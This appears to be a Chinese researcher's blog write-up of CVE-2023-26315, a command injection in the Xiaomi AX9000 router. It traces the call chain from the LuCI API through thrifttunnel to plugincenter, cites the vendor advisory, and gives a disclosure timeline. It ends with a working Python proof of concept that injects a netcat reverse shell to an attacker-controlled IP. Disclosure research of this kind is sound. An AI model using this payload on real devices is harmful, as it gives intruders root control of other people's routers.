小米AX9000路由器CVE-2023-26315漏洞挖掘

分享一个笔者挖的小米AX9000路由器命令注入漏洞(CVE-2023-26315)的调用链分析。为了赏金挖洞,为了稿费发文,又要到饭了兄弟们!

小米AX9000路由器CVE-2023-26315漏洞挖掘

为了赏金挖洞,为了稿费发文,又要到饭了兄弟们!

前言

一年多前,看到小米SRC公众号推文搞了个赏金活动,于是挖了挖当时比较新的一款AX9000路由器,挖到了两个命令注入漏洞,不过没什么本事,挖的都是授权后的,危害一般。小米给的赏金还是很可观的,但是补丁发布的速度不知为何比较慢(交了这么多厂商,还是Zyxel和华硕的响应速度最快),所以一直也没能分配CVE编号,我也遵守小米的规定在漏洞披露前未公开相关漏洞细节。

直到最近和其他朋友聊起这个漏洞,才想起来已经过去了一年多,应该是能公开了,于是又去找了小米SRC的运营小姐姐。经过一些流程的审批,得知这两个漏洞的确是已经推送完补丁可以披露了。不过有趣的是,小米申请的2023CVE编号只剩一个了,2024的新编号还没申请,于是只先分配了一个漏洞的CVE,还有一个得等新编号。

正好和朋友聊到这个漏洞,也顺带回忆并简单记录了一下,想着既然写了就发出来吧。我这里也就先公开一个漏洞吧,另外一个后面看情况。时间有限,写的比较简略,希望能给各位师傅带来些许启发。

之后,可能会整理一些漏洞报告以及自己写的小工具放在我的Github上:https://github.com/winmt

漏洞信息

漏洞编号: CVE-2023-26315 / CNVD-2024-23093

安全通告及致谢:

https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=546

https://trust.mi.com/misrc/bulletins/advisory?cveId=546

漏洞描述: 小米AX9000路由器在1.0.168版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的appid做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升。

BUT,怎么算CVSS Score应该都是7.2+高危,不太清楚官方的6.5是咋算的了QAQ

关于修复后的1.0.174版本的固件,厂商说明目前已经直接由云端推送补丁。

准备工作

首先,可以从官网下载对应版本的固件:小米路由器AX9000 稳定版 1.0.168

小米的固件最外面用的是UBIFS文件系统,固件本身没有加密,先用binwalk解出一个.ubi文件,然后用ubireader_extract_images xxx.ubi,可以在ubifs-root内解出三个.ubifs文件,对其中的xxx-ubi_rootfs.ubifsbinwalk再解开,即可得到里面的SquashFS文件系统,也就是核心部分。

小米的前端也是用的Lua编写的,但是其中的Lua文件不是源码,而是编译后的二进制文件,所以我们需要对其进行反编译。目前,对Lua反编译的常用工具有unluacluadec。但是小米对Lua的解释器做了魔改,就不能直接用这两个工具进行反编译了,所幸已有师傅对此做了研究,并给出了专门针对小米固件的反编译工具unluac_miwifiluadec_miwifi。至于如何对被魔改的解释器或编译器所编译出来的Lua字节码进行逆向,网上也有不少文章,这里不再展开。

我这里用的是unluac_miwifi,最终可以编译出一个unluac.jar,但一次只能对一个Lua文件进行反编译,所以我们需要写一个批量处理的简单脚本:

import os

res = os.popen("find ./ -name *.lua").readlines()

for i in range(0, len(res)) :
    path = res[i].strip("\n")
    cmd = "java -jar /home/winmt/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
    print(cmd)
    os.system(cmd)

小米AX9000路由器固件是AArch64el架构的,由于网上似乎没有公开的AArch64的内核与文件系统,系统级仿真可参考下面这篇文章的步骤extract出来vmlinuzinitrd.imghttps://www.diozero.com/boards/qemuaarch64_bullseye.html

此外,小米AX9000的固件中采用了Apache Thrift的框架,使用C++编写的版本,相关源码可见:https://github.com/apache/thrift/tree/master/lib/cpp/src/thrift ,也可参考网络上其他资料,初步认识后对接下来的逆向分析可能会有一些帮助。

漏洞细节

此部分只对该漏洞调用链做大致的分析,感兴趣的师傅可继续深入逆向分析相关细节。

在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request 相关的handler函数是tunnelRequest函数,且访问/api/xqdatacenter这个节点是需要鉴权的(鉴权过程可在/usr/lib/lua/luci/dispatcher.luaauthenticator.jsonauth函数中找到):

function L0()
    local L0, L1, L2, L3, L4, L5, L6
    L0 = node
    L1 = "api"
    L2 = "xqdatacenter"
    L0 = L0(L1, L2)
    L1 = firstchild
    L1 = L1()
    L0.target = L1
    L0.title = ""
    L0.order = 300
    L0.sysauth = "admin"
    L0.sysauth_authenticator = "jsonauth"
    L0.index = true
    ...
    L1 = entry
    L2 = {}
    L3 = "api"
    L4 = "xqdatacenter"
    L5 = "request"
    L2[1] = L3
    L2[2] = L4
    L2[3] = L5
    L3 = call
    L4 = "tunnelRequest"
    L3 = L3(L4)
    L4 = _
    L5 = ""
    L4 = L4(L5)
    L5 = 301
    L1(L2, L3, L4, L5)
    ...
end
index = L0

在函数tunnelRequest中,会对传入payload字段内的JSON数据(此处用的是formvalue_unsafe获取内容,显然这是一个不安全的函数,未过滤危险字符)用binaryBase64Enc函数在转成二进制后,进行Base64编码处理,然后拼接入THRIFT_TUNNEL_TO_DATACENTER所指代的命令中并执行。

function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5

/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中,可以找到THRIFT_TUNNEL_TO_DATACENTER的相关定义:

L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

可以看到,THRIFT_TUNNEL_TO_DATACENTER所指代的命令为thrifttunnel 0 '%s'。因此,最终所执行的完整命令是thrifttunnel 0 'base64编码的payload字段',即payload字段中被Base64编码后的Json数据会被传入thrifttunnel程序中,且option0

/usr/sbin/thriftunnel二进制文件中,*(a2 + 16)是传入的第二个参数,即Base64编码后的payload字段内的Json数据,其作为第一个参数被传入sub_1B9B0函数中,而sub_1B9B0函数的第二个参数v11此时是空串。

进入sub_1B9B0函数后,可以发现首先将与a1Base64编码的payload字段)相关的数据作为参数传入了sub_1F1F8函数处理,并最终将其返回结果通过string::assign()赋值给了a2(即上一级的v11变量)。

sub_1F1F8函数看上去是做了一些编码转换的操作,可以猜测到这里就是做了Base64的解码工作。我们很容易根据其中抛出的异常信息确认我们的猜测,这里的确就是将payload字段内的Json数据进行了Base64解码。

我们再返回到主函数,进而当*(a2 + 8)即传入的第一个参数option0时,会执行到sub_1BAE0函数,根据上文分析,其参数v11就是解码后的Json字符串。

sub_1BAE0函数中,创建了socket,结合传入的参数(上级的v11变量)是Json字符串,很容易判断出此处会将payload字段的Json数据发送给本地127.0.0.19090端口(这里保护了端口的安全性,没有对外开放,我们想要找到未授权口而悬着的心也终于死了)。

/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理。

datacenterconstructAPIMappingTable()函数里分别执行了三个类的sConstructMappingTable()函数。

其中,都是通过STL map建立起了api编号(下文解释)和对应的处理函数handler间的映射关系。具体来看,有一些api是直接在datacenter中被处理的,有些是被进一步转发到了/usr/sbin/indexservice9088端口)处理,另外一些则是被转发到了/usr/sbin/plugincenter9091端口)中进一步处理。

我们在这里直接定位到该漏洞对应的api,在datacenter::PluginApiCollection::sConstructMappingTable中,当api629的时候,对应的handlercallPluginCenter,其实从函数名就能看出来作用了,就是转发给plugincenter

进去简单看一下,的确是发送给了本地的9091端口(同样,容易在plugincenter程序中找到,其监听着9091端口)。

DataCenterHandler::request函数中,在调用APIMapping::APIMapping函数建立好上述的映射关系表后,紧接着调用了APIMapping::redirectRequest函数。其中,先获取了Json对象中的api字段的值,存放在v8变量中,然后经历了一个for循环,其中有对v8值的判断比较,最后执行了一个函数指针。这里需要稍微解释一下,此处的a1就是上面建立的map映射表,类型是std::map<int,void (*)(json_object *,std::string &)>,即第一个元素(键值)是整数,第二个元素(实值)是函数指针。所以此处的for循环就是对map的操作,但是都是用的偏移值,不好看出来具体是什么,其实这里也没必要去查源码,我们直接自己写一个map容器的遍历,然后静态编译出来,反编译后这些偏移值的含义也就都清楚了。此处的for循环其实就是执行了map.find()的操作,寻找了mapkeyv8(即api值)的迭代器,偏移+32就是第一个键值元素(api值),偏移+40则是第二个实值元素(handler的函数指针)。显然,此处就是根据传入的api字段值调用对应的handler的过程。到这里,上述建立的Mapping Table中的映射关系也更加明朗了。

上文说过,当api629时,传入的payload字段的数据会被转发给plugincenter程序处理。所以最后来到了/usr/sbin/plugincenter程序中,找到datacenter::PluginApiMappingExtendCollection::sConstructMappingTable函数,仍然是通过map建立了api编号和对应handler函数的映射关系。可以看到,当api编号为629的时候,会执行到parseGetIdForVendor函数进行处理。

parseGetIdForVendor函数中,会将传入的Json数据内的appid字段作为参数传递到PluginApi::getIdForVendor函数中。

PluginApi::getIdForVendor函数中,可以很明显地发现:即使appid字段合法性检查不通过,也会被拼接入命令中并执行。显然,这里是一个开发上的疏忽,在判断!IsValidAppId的条件分支内,在输出报错信息后,应当在最后加上return ;返回,不能继续执行下去。

因此,这里存在一个命令注入漏洞,该漏洞调用链至此分析完毕。

Poc及演示结果

这里需要自行更改一下相关IPToken值,此处注入了反弹shell的命令,端口8888

import requests

server_ip = "192.168.50.1"
client_ip = "192.168.50.105"
token = "814c55713043e7358d3c1f42f2a98438"

nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8888 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)

写在最后

此篇文章仅作抛砖引玉,在datacenterplugincenter以及indexservice内不同apihandler函数可能就有几百个(当然这里可以结合fuzz),以及thriftunnel的其他option操作也这么往下挖下去,我想应该也会存在漏洞。笔者也只是在小米当时赏金活动那几天大概看了看,后续也没再继续深入看这些地方了,本来想留着后面继续挖的,但是准备了一年保研感觉心态发生了一些奇妙的变化,研究生可能更想去尝试下其他更深入的方面,不想再做单纯的这样挖洞了,所以也就放出来了。感兴趣的读者可继续探索,挖到了也可以分享在评论区。


时间线:

  • 2023-03-26 提交漏洞报告至小米安全中心(Xiaomi Security Center)
  • 2023-04-03 厂商验证后确认两个漏洞存在,并开始修复漏洞
  • 2023-05-24 两个漏洞的赏金均到账(活动期间还翻倍了,挺爽)
  • 2023-06-09 厂商告知漏洞已全部修复完成(但似乎补丁未立即发布)
  • 2024-05-09 联系厂商分配其中一个漏洞编号 CVE-2023-26315 并披露
  • 2024-06-12 CNVD 收录本文漏洞,分配编号 CNVD-2024-23093 并公开

10 条评论

ZIKH26
一篇技术文章,竟然看哭了
请先 登录 后评论
ZIKH26
师傅tql
winmt 回复 ZIKH26
你就是我买的水军嘛?
请先 登录 后评论
webqs
师傅tql
请先 登录 后评论
ZIKH26
又狠狠的学到了
请先 登录 后评论
雨下整夜
强啊
请先 登录 后评论
ZIKH26
又是精品,狠狠的学到了
请先 登录 后评论
blacking
god
请先 登录 后评论
一叶未知秋
大佬,向大佬学习
请先 登录 后评论
芸一
想问问,哇漏洞对编程有很高的要求吗?
请先 登录 后评论
请先 登录 后评论
winmt
winmt

啥也不是

2 篇文章

站长统计